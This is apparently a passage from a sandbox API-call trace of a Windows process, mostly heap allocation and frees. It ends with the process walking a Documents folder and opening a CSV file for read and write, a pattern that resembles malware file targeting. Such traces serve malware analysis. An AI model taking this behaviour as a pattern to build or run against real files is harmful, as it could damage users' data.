0x32476f0 [0068.758] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc2e) returned 0x3177118 [0068.758] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.758] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0068.758] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0068.758] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.758] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0068.758] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0068.758] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0068.758] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.758] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0068.758] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0068.758] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0068.758] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.758] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.758] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.758] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0068.758] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.758] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.758] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.759] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0068.759] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.759] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.759] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0068.759] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.759] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0068.759] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0068.759] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.759] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0068.759] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.759] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0068.759] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.759] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0068.759] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.759] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0068.759] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.759] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.759] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.759] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0068.759] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.759] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.759] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.759] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0068.759] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.759] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.759] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.759] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0068.759] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.759] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.759] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.759] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0068.759] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.760] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.760] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.760] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0068.760] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.760] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.760] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.760] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0068.760] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.760] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.760] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.760] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0068.760] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.760] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.760] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0068.760] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.760] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0068.760] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0068.760] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.760] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.760] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.760] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0068.760] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.760] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0068.760] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0068.760] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0068.760] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.760] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0068.760] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0068.760] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0068.760] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.760] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.760] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.761] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0068.761] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.761] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.761] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.761] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0068.761] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.761] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.761] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0068.761] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.761] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0068.761] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0068.761] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.761] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0068.761] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.761] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0068.761] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.761] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0068.761] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.761] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0068.761] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.761] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.761] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.761] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0068.761] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.761] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.761] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.761] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0068.761] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.761] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.761] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.761] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0068.761] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.762] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.762] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.762] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0068.762] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.762] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.762] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.762] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0068.762] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.762] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.762] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.762] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0068.762] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.762] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.762] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.762] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0068.762] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.762] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.762] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0068.762] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.762] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0068.762] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0068.762] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.762] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.762] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.762] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0068.762] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.762] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0068.762] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0068.762] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0068.762] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.762] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0068.762] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0068.763] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0068.763] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.763] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.763] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.763] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0068.763] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.763] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.763] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.763] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0068.763] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.763] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.763] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0068.763] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.763] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0068.763] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0068.763] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.763] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0068.763] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.763] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0068.763] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.763] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.763] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.763] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0068.763] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.763] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.763] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.763] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0068.763] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.763] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.763] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.763] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0068.763] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.763] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.764] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.764] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0068.764] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.764] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.764] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.764] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0068.764] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.764] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yiub\\18tCh2fbWO9uqJ4SH0r\\gLb9EGvUD\\") returned="gLb9EGvUD\\" [0068.764] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eb88 [0068.764] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2db8 [0068.764] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0068.764] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yiub\\18tCh2fbWO9uqJ4SH0r\\") returned="18tCh2fbWO9uqJ4SH0r\\" [0068.764] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x31830e8 [0068.764] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eb88 | out: hHeap=0x5d0000) returned 1 [0068.764] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cdf8 [0068.764] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a2db8 | out: hHeap=0x5d0000) returned 1 [0068.764] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yiub\\") returned="yiub\\" [0068.764] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cd28 [0068.764] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cdf8 | out: hHeap=0x5d0000) returned 1 [0068.764] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="Documents\\" [0068.764] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3286da0 [0068.764] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cd28 | out: hHeap=0x5d0000) returned 1 [0068.764] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0068.764] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eb88 [0068.764] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3286da0 | out: hHeap=0x5d0000) returned 1 [0068.764] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0068.764] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eb88 | out: hHeap=0x5d0000) returned 1 [0068.764] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0068.764] PathFindFileNameW (pszPath="") returned="" [0068.764] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.764] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yiub\\18tCh2fbWO9uqJ4SH0r\\gLb9EGvUD\\*", lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaaee65b0, ftCreationTime.dwHighDateTime=0x1d4d06d, ftLastAccessTime.dwLowDateTime=0x4bfd1d90, ftLastAccessTime.dwHighDateTime=0x1d4c7e3, ftLastWriteTime.dwLowDateTime=0x4bfd1d90, ftLastWriteTime.dwHighDateTime=0x1d4c7e3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x31bee60 [0068.766] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0068.766] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaaee65b0, ftCreationTime.dwHighDateTime=0x1d4d06d, ftLastAccessTime.dwLowDateTime=0x4bfd1d90, ftLastAccessTime.dwHighDateTime=0x1d4c7e3, ftLastWriteTime.dwLowDateTime=0x4bfd1d90, ftLastWriteTime.dwHighDateTime=0x1d4c7e3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0068.766] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb5b1cd80, ftCreationTime.dwHighDateTime=0x1d4c71b, ftLastAccessTime.dwLowDateTime=0x71ec0ad0, ftLastAccessTime.dwHighDateTime=0x1d4c5ee, ftLastWriteTime.dwLowDateTime=0x71ec0ad0, ftLastWriteTime.dwHighDateTime=0x1d4c5ee, nFileSizeHigh=0x0, nFileSizeLow=0xd607, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="7rSet.csv", cAlternateFileName="")) returned 1 [0068.766] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.766] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xee) returned 0x3152000 [0068.766] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0068.766] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yiub\\18tCh2fbWO9uqJ4SH0r\\gLb9EGvUD\\7rSet.csv") returned=".csv" [0068.766] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yiub\\18tCh2fbWO9uqJ4SH0r\\gLb9EGvUD\\7rSet.csv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yiub\\18tch2fbwo9uqj4sh0r\\glb9egvud\\7rset.csv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c8 [0068.766] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x38cfb4c | out: lpFileSize=0x38cfb4c*=54791) returned 1 [0068.766] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2990000 [0068.769] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0xd5e1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 